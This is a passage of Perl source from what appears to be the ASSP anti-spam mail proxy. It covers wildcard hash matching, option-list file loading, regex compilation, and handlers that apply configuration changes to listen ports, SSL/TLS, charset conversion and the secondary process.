    foreach $k (reverse sort keys %{$hash}) {
        $v = ${$hash}{$k};
        last if $key eq $k;
        $k =~ s/\./\\./go;
        $k =~ s/\*/\.\*\?/go;
        $k =~ s/\?/\.\?/go;
        last if eval{$key =~ /$k/i;};
        mlog(0,"warning: regex error in generic hash ($hash) key ($key) match - $@") if $@;
        $v = undef;
    }
    return $v if $v;
    return $v if $hash ne 'DomainVRFYMTA';
    my $k = undef;
    my $v = undef;
    my $key = "all";
    foreach $k (reverse sort keys %{$hash}) {
        $v = ${$hash}{$k};
        last if $key eq $k;
        $k =~ s/\./\\./go;
        $k =~ s/\*/\.\*\?/go;
        $k =~ s/\?/\.\?/go;
        last if eval{$key =~ /$k/i;};
        mlog(0,"warning: regex error in generic hash ($hash) key ($key) match - $@") if $@;
        $v = undef;
    }
    return $v;
    
    
}
#returns the key for the first matching value of hash or undef
sub matchHashVal {
    my ($hash, $val) = @_;
    return unless $hash;
    return unless $val;

    my $k = undef;
    my $v = undef;
    my $ret = undef;

    foreach $k (sort {${$hash}{$main::b} <=> ${$hash}{$main::a}} keys %$hash) {
        $ret = $k;
        $v = ${$hash}{$k};
        last if lc($val) eq lc($v);
        $v =~ s/([^\\])?\./$1\\./go;
        $v =~ s/([^)\]])?\*/$1\.\*\?/go;
        $v =~ s/([^()\]])?\?/$1\.\?/go;
        last if eval{$val =~ /$v/i;};
        mlog(0,"warning: regex error in generic hash ($hash) value ($val) match - $@") if $@;
        $ret = undef;
    }
    return $ret;
}

sub min {
    return [sort {$main::a <=> $main::b} @_]->[0];
}

sub max {
    return [sort {$main::b <=> $main::a} @_]->[0];
}

sub checkFileHashUpdate {
    d('checkFileHashUpdate');
    my $ret = 0;
    while (my ($file,$ftime) = each %FileHashUpdateTime) {
       next if $ftime == ftime($file);
       &LoadHash($FileHashUpdateHash{"$file"},$file,0);
       $ret = 1;
    }
    return $ret;
}

# this checks and corrects a | separated list
# and handles the options in a file
sub checkOptionList {
    my ($value,$name,$init)=@_;
    my $fromfile=0;
    my $fil;
    my $count;
    if ($value=~/^ *file: *(.+)/i) {

        # the option list is actually saved in a file.
        $fromfile=1;
        $fil=$1; $fil="$base/$fil" if $fil!~/^\Q$base\E/i;
        local $/;
        my @s=stat($fil);
        my $mtime=$s[9];
        $FileUpdate{$fil}=$mtime;
        $FileUpdate{"$fil$name"} = $mtime;
        my $COL;
        if (!open($COL,'<',$fil)) {
        	open($COL,'>',$fil);
        	close $COL;
        }
        if (open($COL,'<',$fil)) {
            $value=<$COL>;
            close $COL;
            $value =~ s/^$UTF8BOMRE//o;

            %{$FileIncUpdate{"$fil$name"}} = ();

            while ($value =~ /(\s*#\s*include\s+([^\r\n]+)\r?\n)/i) {
                my $line = $1;
                my $ifile = $2;
                $ifile =~ s/([^\\\/])[#;].*/$1/go;
                $ifile =~ s/[\"\' ]//go;
                my $INCL;
                unless (open($INCL,'<',"$base/$ifile")) {
                    $value =~ s/$line//;
                    mlog(0,"AdminInfo: failed to open option list include file for reading '$base/$ifile' ($name): $!") if (!$init && ! $calledfromThread);
                    $FileIncUpdate{"$fil$name"}{$ifile} = 0;
                    next;
                }
                my $inc = <$INCL>;
                close $INCL;
                $inc =~ s/^$UTF8BOMRE//o;
                $inc = "\n$inc\n";
                $value =~ s/$line/$inc/;
                @s=stat($ifile);
                $mtime=$s[9];
                $FileIncUpdate{"$fil$name"}{$ifile} = $mtime;
                mlog(0,"AdminInfo: option list include file '$ifile' processed for ($name)") if (!$init && ! $calledfromThread);
            }

     		# clean off comments

            $value =~ s/\s;\s.*//g;
            $value =~ s/^#.*//g;
            $value =~ s/([^\\])#.*/$1/g;
            
            # replace newlines (and the whitespace that surrounds them) with a |

            $value=~s/\r//g;

            $value=~s/\s*\n+\s*/\|/g;
            
        } else {
            mlog(0,"AdminInfo: failed to open option list file for reading '$fil' ($name): $!") if (!$init && ! $calledfromThread);
            $value='';
        }
    }
    $value=~s/\*\*\*/\\\*\\\*\\\*/g;
    $value=~s/\*\*/\\\*\\\*/g;
    $value=~s/\|\|/\|/g;
    $value=~s/\s*\|/\|/g;
    $value=~s/\|\s*/\|/g;
    $value=~s/\|\|+/\|/g;
    $value=~s/^\s*\|?//;
    $value=~s/\|?\s*$//;
    $value=~s/\|$//;
    $value=~s/^\|?//;

 
	my $count = () = $value =~ /([^\\]\|)/go;
    $count++ if $value;

	
	
    mlog(0,"option list file: '$fil' reloaded ($name) with $count records") if 	!$init && $fromfile;

    # set corrected value back in Config

    ${$name}=$Config{$name}=$value unless $fromfile;
    return $value;
}

sub ConfigCompileNotifyRe {
    my ($name, $old, $new, $init)=@_;
    my $note = "AdminUpdate: $name changed from '$old' to '$new'";
    $note = "AdminUpdate: $name changed" if exists $cryptConfigVars{$name};
    mlog(0,$note) unless $init || $new eq $old;
    ${$name} = $new;
    $new=checkOptionList($new,$name,$init);

    if ($new) {
        %NotifyRE = ();
        my @entry = split(/\|/o,$new);
        while (@entry) {
            my $e = shift(@entry);
            my ($re,$adr,$sub) = split(/\=\>/o,$e);
            $NotifySub{$re} = $sub if $sub;
            if ($adr) {
                $NotifyRE{$re} = $adr;
            } else {
                $NotifyRE{$re} = $Notify if $Notify;
            }
        }
        $new = join('|', keys %NotifyRE);
    } else {
        $new ='^(?!)'; # regexp that never matches
    }
    # trim long matches to 32 chars including '...' at the end

    SetRE($name.'RE',$new,'is',$name);
#    SetRE($name.'RE',"($new)(?{\$1 and length(\$1)>32?substr(\$1,0,32-3).'...':\$1})",'is',$name);
    '';
}

sub ConfigCompileRe {
    my ($name, $old, $new, $init)=@_;
    my $note = "AdminUpdate: $name changed from '$old' to '$new'";
    $note = "AdminUpdate: $name changed" if exists $cryptConfigVars{$name};
    mlog(0,$note) unless $init || $new eq $old;
    my $orgnew = ${$name} = $new;
    my $error;
    $new=checkOptionList($new,$name,$init);
    if ($name eq "MyCountryCodeRe" && !$new && $localhostip && $localhostip !~ /$IPprivate/o) {
        $new = SenderBaseMyIP($localhostip);
    }

# only grouping (no capturing) allowed inside regexes: (aa) -> (?:aa)
    my $hasChanged;
    $hasChanged = $new =~ s/((?<!\\))\(([^\?\\][^:]?)/$1(?:$2/go
        if $RegexGroupingOnly && $new !~ /a(?:ssp)?-do?-n(?:ot)?-o(?:ptimize)?-r(?:egex)?\|?/io;

    if (exists $WeightedRe{$name}) {
        my $defaultHow;
        $defaultHow = $1 if $new =~ s/\s*!!!\s*([nNwWlLiI\+\-\s]+)?\s*!!!\s*\|?//o;
        $defaultHow =~ s/\s//go;
        $defaultHow =~ s/\++/+/go;
        $defaultHow =~ s/\-+/-/go;
        $WeightedReOverwrite{$name} = 0;
        my @Weight = @{$name.'Weight'};
        my @WeightRE = @{$name.'WeightRE'};
        @{$name.'Weight'} = ();
        @{$name.'WeightRE'} = ();
        while ($new =~ s/(\~([^\~]+)?\~|([^\|]+)?)\s*\=\>\s*([+\-]?(?:0?\.\d+|\d+\.\d+|\d+))?(?:\s*\:\>\s*([nNwWlLiI\+\-\s]+)?)?/$2$3/o) {
            my $re = ($2?$2:'').($3?$3:'');
            my $we = $4;
            $we = 1 if (!$we && $we != 0);
            $we += 0;
            my $how = uc $5;
            $how =~ s/\s//go;
            $how =~ s/\++/+/go;
            $how =~ s/\-+/-/go;
            $how ||= $defaultHow;

            eval{$note =~ /$re/};
            if ($@) {
                $RegexError{$name} = 'error in regular expression';
                mlog(0,"error: weighted regex for $name is invalid '$re=>$we' - $@") if $WorkerNumber == 0;
                $error .= "error: weighted regex for $name is invalid '$re=>$we'<br />";
                mlog(0,"warning: value for $name was not changed - all changes are ignored") if $WorkerNumber == 0;
                @{$name.'Weight'} = @Weight;
                @{$name.'WeightRE'} = @WeightRE;
                $new = $old;
                if (! $RegexGroupingOnly) {
                    return "<span class=\"negative\"> - weighted regex for $name is invalid '$re=>$we'!</span>";
                } else {
                    $RegexGroupingOnly = 0;
                    mlog(0,"info: try to use unoptimized regex $name") if $WorkerNumber == 0;
                    my $ret = &ConfigCompileRe($name, $old, $orgnew, $init);
                    $RegexGroupingOnly = 1;
                    return $ret;
                }
            } else {
                delete $RegexError{$name};
            }
            
            push (@{$name.'WeightRE'},'{'.$how.'}'.$re);
            push (@{$name.'Weight'},$we);
        }
        my $count = 0;
        foreach my $k (@{$name.'Weight'}) {
            my $reg = ${$name.'WeightRE'}[$count];
            my $how; $how = $1 if $reg =~ s/^\{([^\}]*)?\}(.+)$/$2/o;
            $reg =~ s/^\<\<\<(.*?)\>\>\>$/$1/go;
            strip50($reg);
            $how = " for [$how]" if $how;
#            mlog(0,"info: $name : regex $reg - weight set to $k$how") if $MaintenanceLog > 2;
            $count++;
        }
#        mlog(0,"info: Regex $name: $count weighted regular expression defined") if $count  && $MaintenanceLog > 2;
    }

    $new||='^(?!)'; # regexp that never matches


        # replace something like ${$EmailDomainRe} with the value of $EmailDomainRe
        $new =~ s/(([^\\]?)\$\{\$([a-z][a-z0-9]+)\})/(defined ${$3}) ? $2.${$3} : $1/oige if $AllowInternalsInRegex;

       
	eval {
    SetRE($name.'RE', "($new)(?{length(\$1)>32?substr(\$1,0,32-3).'...':\$1})" , 'is', $name);
		};
    if ($error) {
        $error =~ s/<\/?span[^>]*>//go;
        $error = "<span class=\"negative\">$error</span>";
    }
    return $error;
}



sub optionList {

    # this converts a | separated list into a RE
    my ( $d, $configname ) = @_;
    $d = checkOptionList( $d, $configname );
    $d =~ s/([\.\[\]\-\(\)\*\+\\])/\\$1/g;
    $MakeRE{$configname}->($d);
    $d;
}

sub ConfigOverwriteRe {
   
}

sub fileUpdated {

    my ( $fil, $configname ) = @_;

    $fil = "$base/$fil" if $fil !~ /^(([a-z]:)?[\/\\]|\Q$base\E)/;

    return 0 unless (-e $fil);
    return 1 unless $FileUpdate{"$fil$configname"};
    my @s     = stat($fil);
    my $mtime = $s[9];
    my $changed = $FileUpdate{"$fil$configname"} != $mtime;
    return 1 if $changed;
    $changed = fileIncUpdated($fil,$configname);
    return $changed;
}

sub fileIncUpdated {

    my ( $fil, $configname ) = @_;
    return 0 unless exists $FileIncUpdate{"$fil$configname"};

    my $changed = 0;
    foreach my $f (keys %{$FileIncUpdate{"$fil$configname"}}) {
        my @s     = stat($f);
        my $mtime = $s[9];
        next if $FileIncUpdate{"$fil$configname"}{$f} == $mtime;
        $changed = 1;
        last;
    }
    return $changed;
}

sub ConfigChangeUSAMN {
    my ($name, $old, $new, $init)=@_;

    mlog(0,"AdminUpdate: $name from '$old' to '$new'") unless $init || $new eq $old;
    $Config{$name} = $new;
    $$name = $new;
    &ConfigChangeMaxAllowedDups('MaxAllowedDups',$MaxAllowedDups,$MaxAllowedDups,'');
}

sub ConfigChangeNoDomains {
    my ($name, $old, $new, $init)=@_;
        
    mlog(0,"AdminUpdate: $name from '$old' to '$new' ") unless $init || $new eq $old;
	
    $Config{$name} = $new;
    $$name = $new;
    $asspWarnings = '';
    mlog(0,"warning: nolocalDomains is set, ASSP will not check relaying") if $nolocalDomains;
    $asspWarnings .= '<span class="negative">nolocalDomains is set, ASSP is open relay<br /></span>' if $nolocalDomains;

	$asspWarnings .= '<span class="negative">no local domains set in localDomains or ldLDAP<br /></span>' if !$localDomains && !$ldLDAP && !$DoLocalIMailDomains;
	
}

sub ConfigChangeMaxAllowedDups {
    my ($name, $old, $new, $init)=@_;

    my $count = -1;
    if ($new && $Config{UseSubjectsAsMaillogNames} && $Config{spamlog} && $Config{discarded}) {
        $count++;
        my @files = map {s/^\Q$base\E[\\\/]\Q$spamlog\E[\\\/]([^\\\/]*)(__|--)\d+$maillogExt$/$1/}  (glob("$base/$spamlog/*"));
        foreach (@files) {
            next unless $_;
            next if /\\|\//;
            next if -d "$_";
            next if $_ eq '.';
            next if $_ eq '..';
            $Spamfiles{Digest::MD5::md5($_)}++;
            $count++;
        }
    } else {
        %Spamfiles = ();
    }
    mlog(0,"AdminUpdate: $name from '$old' to '$new' - $count files registered in $Config{spamlog} folder") unless $init || $new eq $old;

    $Config{$name} = $new;
    $$name = $new;
}

sub configChangeIC {
    my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: inbound charset conversion Table updated from '$old' to '$new'") unless $init || $new eq $old;
#    $inChrSetConv=$new;
    $new=checkOptionList($new,'inChrSetConv',$init);
    my $v;
    my $f;
    my $fa;
    my $t;
    my $ta;
    my $test="abc";
    my $error;
    for $v (split(/\|/o,$new)) {
        $v=~/(.*)\=\>(.*)/;
        $fa=$1;
        $ta=$2;
        eval{$f='';$f=Encode::resolve_alias(uc($fa));};
        eval{$t='';$t=Encode::resolve_alias(uc($ta));};
        if (! $f) {
            mlog(0,"error: codepage $fa is not supported by perl in inChrSetConv");
            $error .= "$fa ";
            next;
        }
        if (! $t) {
            mlog(0,"error: codepage $ta is not supported by perl in inChrSetConv");
            $error .= "$ta ";
            next;
        }
        eval{Encode::from_to($test,$f,$t)};
        if ($@) {
            mlog(0,"error: perl is unable to convert from $f/fa to $t/ta in inChrSetConv - this conversion will be ignored");
            $error .= "$fa $ta ";
            next;
        } else {
            $inchrset{$f} = $t;
        }
    }
    $error = " - but error in $error - please check the log" if ($error);
    return $error;
}

sub configChangeOC {
    my ($name, $old, $new, $init)=@_;
    mlog(0,"AdminUpdate: outbound charset conversion Table updated from '$old' to '$new'") unless $init || $new eq $old;
#    $outChrSetConv=$new;
    $new=checkOptionList($new,'outChrSetConv',$init);
    my $v;
    my $f;
    my $fa;
    my $t;
    my $ta;
    my $test="abc";
    my $error;
    for $v (split(/\|/o,$new)) {
        $v=~/(.*)\=\>(.*)/;
        $fa=$1;
        $ta=$2;
        eval{$f='';$f=Encode::resolve_alias(uc($fa));};
        eval{$t='';$t=Encode::resolve_alias(uc($ta));};
        if (! $f) {
            mlog(0,"error: codepage $fa is not supported by perl in outChrSetConv");
            $error .= "$fa ";
            next;
        }
        if (! $t) {
            mlog(0,"error: codepage $ta is not supported by perl in outChrSetConv");
            $error .= "$ta ";
            next;
        }
        eval{Encode::from_to($test,$f,$t)};
        if ($@) {
            mlog(0,"error: perl is unable to convert from characterset $f to $t in outChrSetConv - this conversion will be ignored");
            $error .= "$fa $ta ";
            next;
        } else {
            $outchrset{$f} = $t;
        }
    }
    $error = " - but error in $error - please check the log" if ($error);
    return $error;
}
sub configChangeRT {
    my ( $name, $old, $new, $init ) = @_;
    mlog( 0,
"AdminUpdate: SMTP Destination Routing Table updated from '$old' to '$new'"
    ) unless $init || $new eq $old;
    $smtpDestinationRT = $new;
    $new = checkOptionList( $new, 'smtpDestinationRT', $init );
    my $v;
    for $v ( split( /\|/, $new ) ) {
        $v =~ /(.*)\=\>(.*)/;
        $crtable{$1} = $2;
    }

}


sub ConfigChangeDo {
    my ( $name, $old, $new ) = @_;
    mlog( 0, "AdminUpdate: $name changed from '$old' to '$new'" );
    $$name = $new;
    return '';
}

sub ConfigChangePrimaryMX {
    my ( $name, $old, $new ) = @_;
    mlog( 0, "AdminUpdate: $name changed from '$old' to '$new'" );
    $$name = $new;
    $check4queuetime=time-1;
    return '';
}

sub ConfigChangeMailPort {my ($name, $old, $new, $init)=@_;
    my $lsn;
    my $highport = 1;
    return if $new eq $old;
    foreach my $port (split(/\|/o,$new)) {
        if ($port =~ /^.+:([^:]+)$/o) {
            if ($1 < 1024) {
                $highport = 0;
                last;
            }
        } else {
            if ($port < 1024) {
                $highport = 0;
                last;
            }
        }
    }
    $Config{listenPort}=$listenPort=$new;
    if($> == 0 || $highport || $^O eq "MSWin32") {

        # change the listenport

        foreach $lsn (@lsn ) {
            unpoll($lsn,$readable);
            unpoll($lsn,$writable);
            close($lsn);
            delete $SocketCalls{$lsn};
        }
        my ($lsn,$lsnI) = newListen($listenPort,\&NewSMTPConnection);
        @lsn = @$lsn; @lsnI = @$lsnI;
        for (@$lsnI) {s/:::/\[::\]:/o;}
        mlog(0,"AdminUpdate: listening on new mail port @$lsnI (changed from $old) ");
        return '';
    } else {

        # don't have permissions to change
        mlog(0,"AdminUpdate: request to listen on new mail port $new (changed from $old) -- restart required; euid=$>");
        return "<br />Restart required; euid=$><script type=\"text/javascript\">alert(\'new mail port - ASSP-Restart required\');</script>";
    }
}

sub ConfigChangeMailPort2 {my ($name, $old, $new, $init)=@_;
    my $highport = 1;
    return if $new eq $old;
    foreach my $port (split(/\|/o,$new)) {
        if ($port =~ /^.+:([^:]+)$/o) {
            if ($1 < 1024) {
                $highport = 0;
                last;
            }
        } else {
            if ($port < 1024) {
                $highport = 0;
                last;
            }
        }
    }
    $Config{listenPort2}=$listenPort2=$new;
    if($> == 0 || $highport || $^O eq "MSWin32") {

        # change the listenport2
        foreach my $lsn2 (@lsn2 ) {
            unpoll($lsn2,$readable);
            unpoll($lsn2,$writable);
            close($lsn2);
            delete $SocketCalls{$lsn2};
        }
        my ($lsn2,$lsn2I) = newListen($listenPort2,\&NewSMTPConnection);
        @lsn2 = @$lsn2; @lsn2I = @$lsn2I;
        for (@$lsn2I) {s/:::/\[::\]:/o;}
        mlog(0,"AdminUpdate: listening on new secondary mail port @$lsn2I (changed from $old)");
        return '';
    } else {

        # don't have permissions to change
        mlog(0,"AdminUpdate: request to listen on new secondary mail port $new (changed from $old) -- restart required; euid=$>");
        return "<br />Restart required; euid=$><script type=\"text/javascript\">alert(\'new secondary mail port - ASSP-Restart required\');</script>";
    }
}

sub ConfigChangeMailPortSSL {
    my ( $name, $old, $new , $init) = @_;
    my $highport = 1;
    return if $new eq $old;
    foreach my $port (split(/\|/o,$new)) {
        if ($port =~ /^.+:([^:]+)$/o) {
            if ($1 < 1024) {
                $highport = 0;
                last;
            }
        } else {
            if ($port < 1024) {
                $highport = 0;
                last;
            }
        }
    }
    $Config{listenPortSSL}=$listenPortSSL = $new;
    if($> == 0 || $highport || $^O eq "MSWin32") {

       	# change the listenportSSL
	    my $lfh;
        foreach $lfh (@lsnSSL) {
            unpoll($lfh,$readable,"POLLIN");
            unpoll($lfh,$writable,"POLLIN");
            delete $SocketCalls{$lfh};
            close($lfh);
        }
        if ($CanUseIOSocketSSL) {
            my ($lsnSSL,$lsnSSLI) = newListenSSL($listenPortSSL,\&NewSMTPConnection);
            @lsnSSL = @$lsnSSL; @lsnSSLI = @$lsnSSLI;
            for (@$lsnSSLI) {s/:::/\[::\]:/o;}
            mlog( 0,"AdminUpdate: listening on new SSL mail port @$lsnSSLI (changed from '$old')");
        } else {
            mlog( 0,"AdminUpdate: new SSL mail port '$listenPortSSL' (changed from '$old')");
        }
        return '';
    } else {

        # don't have permissions to change
        mlog( 0,
"AdminUpdate: request to listen on new SSL mail port '$new' (changed from '$old') -- restart required; euid=$>"
        );
        return "<br />Restart required; euid=$>";
    }
}

sub ConfigChangeEnableAdminSSL {my ($name, $old, $new, $init)=@_;
    if ($new) {
        if (! -e $SSLCertFile) {
            $new = $old = 0;
            $enableWebAdminSSL = $new;
            $Config{enableWebAdminSSL} = $new;
            return "<span class=\"negative\">Couldn't find file $base/certs/server-cert.pem</span>";
        }
        if (! -e $SSLKeyFile) {
            $new = $old = 0;
            $enableWebAdminSSL = $new;
            $Config{enableWebAdminSSL} = $new;
            return "<span class=\"negative\">Couldn't find file $base/certs/server-key.pem</span>";
        }
        if (! $CanUseIOSocketSSL) {
            $new = $old = 0;
            $enableWebAdminSSL = $new;
            $Config{enableWebAdminSSL} = $new;
            return "<span class=\"negative\">Module IO::Socket::SSL is not installed</span>";
        }
    }
    my $usessln;
    my $usesslo;
    if ($new ne $old) {
        $usessln = $new ? 'HTTPS' : 'HTTP';
        $usesslo = $new ? 'HTTP' : 'HTTPS';
        $httpchanged = 1;
        mlog(0,"AdminUpdate: listening on admin port $usessln (changed from $usesslo)");
    }
    $enableWebAdminSSL = $new;
    $Config{enableWebAdminSSL} = $new;
    &ConfigChangeAdminPort('webAdminPort', $webAdminPort, $webAdminPort,'renew');
    '';
}

sub ConfigChangeEnableStatSSL {my ($name, $old, $new, $init)=@_;
    if ($new) {
        if (! -e $SSLCertFile) {
            $new = $old = 0;
            $enableWebAdminSSL = $new;
            $Config{enableWebAdminSSL} = $new;
            return "<span class=\"negative\">Couldn't find file $base/certs/server-cert.pem</span>";
        }
        if (! -e $SSLKeyFile) {
            $new = $old = 0;
            $enableWebAdminSSL = $new;
            $Config{enableWebAdminSSL} = $new;
            return "<span class=\"negative\">Couldn't find file $base/certs/server-key.pem</span>";
        }
        if (! $CanUseIOSocketSSL) {
            $new = $old = 0;
            $enableWebAdminSSL = $new;
            $Config{enableWebAdminSSL} = $new;
            return "<span class=\"negative\">Module IO::Socket::SSL is not installed</span>";
        }
    }
    if ($new ne $old) {
        my $usessln = $new ? 'HTTPS' : 'HTTP';
        my $usesslo = $new ? 'HTTP' : 'HTTPS';
        mlog(0,"AdminUpdate: listening on stat port $usessln (changed from $usesslo)");
    }
    $enableWebStatSSL = $Config{enableWebStatSSL} = $new;
    &ConfigChangeStatPort('webStatPort', $webStatPort, $webStatPort,'renew');
}

sub getSSLPWD {
    return $SSLPKPassword;
}

sub getSSLParms {
    my %ssl;
    $ssl{SSL_ca_file} = $SSLCaFile if $SSLCaFile;
    $ssl{SSL_passwd_cb} = \&getSSLPWD if getSSLPWD();
    $ssl{SSL_cipher_list} = $SSL_cipher_list if $SSL_cipher_list;
    $ssl{SSL_version} = $SSL_version if $SSL_version;
    return %ssl;
}
sub ConfigChangeSSL {
    my ( $name, $old, $new ) = @_;
    my $ver;
    mlog( 0, "AdminUpdate: $name changed from '$old' to '$new'" );
    ${$name} = $new;

    if ($AvailIOSocketSSL) {
        $ver            = eval('IO::Socket::SSL->VERSION');
        $VerIOSocketSSL = $ver;
		if ($VerIOSocketSSL < 1.08) {
	    	$CommentIOSocketSSL = "<span class=negative>Version >= 1.08 required - SSL support not available";
	    	mlog( 0, "IO::Socket::SSL module$ver installed - Version >= 1.08 required, SSL support not available ");
	    	$AvailIOSocketSSL = 0;
     	} else {
            $ver            = " version $ver" if $ver;
            $CommentIOSocketSSL = "<span class=positive>Secure SSL sockets installed";
            mlog( 0, "IO::Socket::SSL module$ver installed");
            if (-e $SSLCertFile and -e $SSLKeyFile) {
        		mlog(0,"found valid certificate and private key file - TLS/SSL is available");
    		} else {

        		if (-e $SSLCertFile and -e $SSLKeyFile) {
            		mlog(0,"found valid certificate and private key file - TLS/SSL is available");
        		} else {
            		$CanUseIOSocketSSL = 0;
            		mlog(0,"warning: certificate $SSLCertFile not found") unless (-e $SSLCertFile);
            		mlog(0,"warning: public-key $SSLKeyFile not found") unless (-e $SSLKeyFile);
            		mlog(0,"warning: TLS/SSL is disabled");
            		$CommentIOSocketSSL = "<span class=negative>Version >= TLS/SSL is disabled, no certificate found";

        		}
    		}

        }
        my $commentIOSocketSSL=$CommentIOSocketSSL;
        $commentIOSocketSSL =~ s/\<.*\>//;
        mlog( 0, "AdminUpdate: $commentIOSocketSSL" );
    } else {
        $CommentIOSocketSSL = "<span class=negative>Secure SSL sockets not installed";
        mlog( 0,
            "IO::Socket::SSL module not installed - SSL support not available"
        );
    }
}
sub ConfigChangeTLSPorts {my ($name, $old, $new, $init)=@_;
    return '' if $new eq $old;

    $$name = $Config{$name} = $new;
    mlog(0,"AdminUpdate: $name changed to $new from $old") if $WorkerNumber == 0 && ! $init;
    my $listen = $name eq 'NoTLSlistenPorts' ? 'lsnNoTLSI' : 'TLStoProxyI';
    if (! $new) {
        @{$listen} = ();
        return '';
    }
    @{$listen} = ();
    my ($interface,$p,$portA);
    if ($new=~/\|/o) {
        foreach $portA (split(/\|/o, $new)) {
            ($interface,$p)=$portA=~/^(.*):([^:]*)$/o;
            $interface =~ s/\s//go;
            $p =~ s/\s//go;
            $portA =~ s/\s//go;
            if ($interface) {
                push @{$listen}, "$interface:$p";
            } else {
                push @{$listen}, "0.0.0.0:$portA";
                push @{$listen}, "[::]:$portA" if $CanUseIOSocketINET6;
            }
        }
    } else {
        ($interface,$p)=$new=~/(.*):([^:]*)/o;
        $interface =~ s/\s//go;
        $p =~ s/\s//go;
        $new =~ s/\s//go;
        if ($interface) {
            push @{$listen}, "$interface:$p";
        } else {
            push @{$listen}, "0.0.0.0:$new";
            push @{$listen}, "[::]:$new" if $CanUseIOSocketINET6;
        }
    }
    return '';
}

sub ConfigChangeEnableSSL {
    my ( $name, $old, $new ) = @_;
    my $ver;
    mlog( 0, "AdminUpdate: $name changed from '$old' to '$new'" );
    ${$name} = $new;
	$DoTLS = 2 if $new;
	$DoTLS = 0 if !$new;
    if ($AvailIOSocketSSL) {
        $ver            = eval('IO::Socket::SSL->VERSION');
        $VerIOSocketSSL = $ver;
		if ($VerIOSocketSSL < 1.08) {
	    	$CommentIOSocketSSL = "<span class=negative>Version >= 1.08 required - SSL support not available";
	    	mlog( 0, "IO::Socket::SSL module$ver installed - Version >= 1.08 required, SSL support not available ");
	    	$AvailIOSocketSSL = 0;
     	} else {
            $ver            = " version $ver" if $ver;
            $CommentIOSocketSSL = "<span class=positive>Secure SSL sockets installed";
            mlog( 0, "IO::Socket::SSL module$ver installed");
            if (-e $SSLCertFile and -e $SSLKeyFile) {
        		mlog(0,"found valid certificate and private key file - SSL on listenPortSSL is available");
        		mlog(0,"TLS on listenports is switched off by enableSSL") if !$new;
        		mlog(0,"TLS on listenports is switched on by enableSSL") if $new;
    		} else {
 
        		if (-e $SSLCertFile and -e $SSLKeyFile) {
            		mlog(0,"found valid certificate and private key file - TLS/SSL is available");
        		} else {
            		$CanUseIOSocketSSL = 0;
            		mlog(0,"warning: certificate $SSLCertFile not found") unless (-e $SSLCertFile);
            		mlog(0,"warning: public-key $SSLKeyFile not found") unless (-e $SSLKeyFile);
            		mlog(0,"warning: TLS/SSL is disabled");
            		$CommentIOSocketSSL = "<span class=negative>Version >= TLS/SSL is disabled, no certificate found";

        		}
    		}

        }
        my $commentIOSocketSSL=$CommentIOSocketSSL;
        $commentIOSocketSSL =~ s/\<.*\>//;
        mlog( 0, "AdminUpdate: $commentIOSocketSSL" );
    } else {
        $CommentIOSocketSSL = "<span class=negative>Secure SSL sockets not installed";
        mlog( 0,
            "IO::Socket::SSL module not installed"
        );
    }
}




sub ConfigChangeIPv6 {
    my ( $name, $old, $new, $init) = @_;
    mlog( 0, "AdminUpdate: $name changed from '$old' to '$new'" ) unless $init || $new eq $old;
    $Config{$name} = ${$name} = $new;
    return '' if $init || $new eq $old;
    if ($enableINET6) {
        $CanUseIOSocketINET6 =
            $AvailIOSocketINET6;
            
        if ($CanUseIOSocketINET6) {
            $CommentIOSocketINET6 = "IPv6 support enabled, Restart required";

        } else {
            $CommentIOSocketINET6 = "IPv6 support enabled, Restart required";

        }
    } else {
    		$CanUseIOSocketINET6 = 0;
            $CommentIOSocketINET6 = "IPv6 support disabled, Restart required";
    }
    mlog( 0, "AdminUpdate: $CommentIOSocketINET6" );
    return	"& $CommentIOSocketINET6";
}

sub ConfigChangeSecondary {
    my ( $name, $old, $new ) = @_;
    mlog( 0, "AdminUpdate: $name changed from '$old' to '$new'" );
	$AutostartSecondary = $new;
    $Config{AutostartSecondary} = $new;
	&readSecondaryPID();
    if ($new) {
    	&startSecondary();
        return	"& starting Secondary" if !$SecondaryPid;
        return	"& running (PID: $SecondaryPid)" if $SecondaryPid;

    } else {  
  		unlink("$base/$pidfile"."_Secondary");
		
		kill TERM => $SecondaryPid if $SecondaryPid;
#		exec("kill -TERM $SecondaryPid") if $SecondaryPid;
		return "& terminating Secondary (PID: $SecondaryPid)" if $SecondaryPid;
		return "& Secondary (PID: $SecondaryPid) not running" if !$SecondaryPid;
		&startSecondary() if  $AutostartSecondary && !$AsASecondary && $webSecondaryPort;
 	}

}
sub ConfigChangeAdminPort {
    my ( $name, $old, $new, $init ) = @_;
    my $usessl;
    my $highport = 1;
    my $dummy;
    my $WebSocket;
    return if $new eq $old && ! $init;

    foreach my $port (split(/\|/o,$new)) {
        if ($port =~ /^.+:([^:]+)$/o) {
            if ($1 < 1024) {
                $highport = 0;
                last;
            }
        } else {
            if ($port < 1024) {
                $highport = 0;
                last;
            }
        }
    }
    
    $webAdminPort=$Config{webAdminPort}=$new;
    my $adminport = $webAdminPort;
    $adminport = $webSecondaryPort if $AsASecondary && $webSecondaryPort;
    if($> == 0 || $highport || $^O eq "MSWin32") {
        # change the listenport

        foreach my $WebSock (@WebSocket) {
            unpoll($WebSock,$readable);
            unpoll($WebSock,$writable);
            close($WebSock) || eval{$WebSock->close;} || eval{$WebSock->kill_socket();} ||
            mlog(0,"warning: unable to close WebSocket: $WebSocket");
            delete $SocketCalls{$WebSock};
        } 
        
    	if ($CanUseIOSocketSSL && $enableWebAdminSSL) {
            ($WebSocket,$dummy) = newListenSSL($webAdminPort,\&NewWebConnection);
            @WebSocket = @$WebSocket;

            $usessl = 'HTTPS';
        } else {
            ($WebSocket,$dummy) = newListen($webAdminPort,\&NewWebConnection);
            @WebSocket = @$WebSocket;

            $usessl = '';
        }
        for (@$dummy) {s/:::/\[::\]:/o;}
        if(@WebSocket) {
            mlog(0,"AdminUpdate: listening on new admin port @$dummy $usessl (changed from $old)");
        } else {

            # couldn't open the port -- switch back
            if ($usessl && $new eq $old) {
                ($WebSocket,$dummy) = newListen($webAdminPort,\&NewWebConnection);
                @WebSocket = @$WebSocket;
            } elsif ($usessl) {
                ($WebSocket,$dummy) = newListenSSL($webAdminPort,\&NewWebConnection);
                @WebSocket = @$WebSocket;
            } else {
                ($WebSocket,$dummy) = newListen($webAdminPort,\&NewWebConnection);
                @WebSocket = @$WebSocket;
            }
            for (@$dummy) {s/:::/\[::\]:/o;}
            mlog(0,"AdminUpdate: couldn't open new port -- still listening on @$dummy");
            $webAdminPort=$Config{$name}=$old;
            return "<span class=\"negative\">Couldn't open new port $new -- still listening on @$dummy</span>";
        }
        return '';
    } else {

        # don't have permissions to change
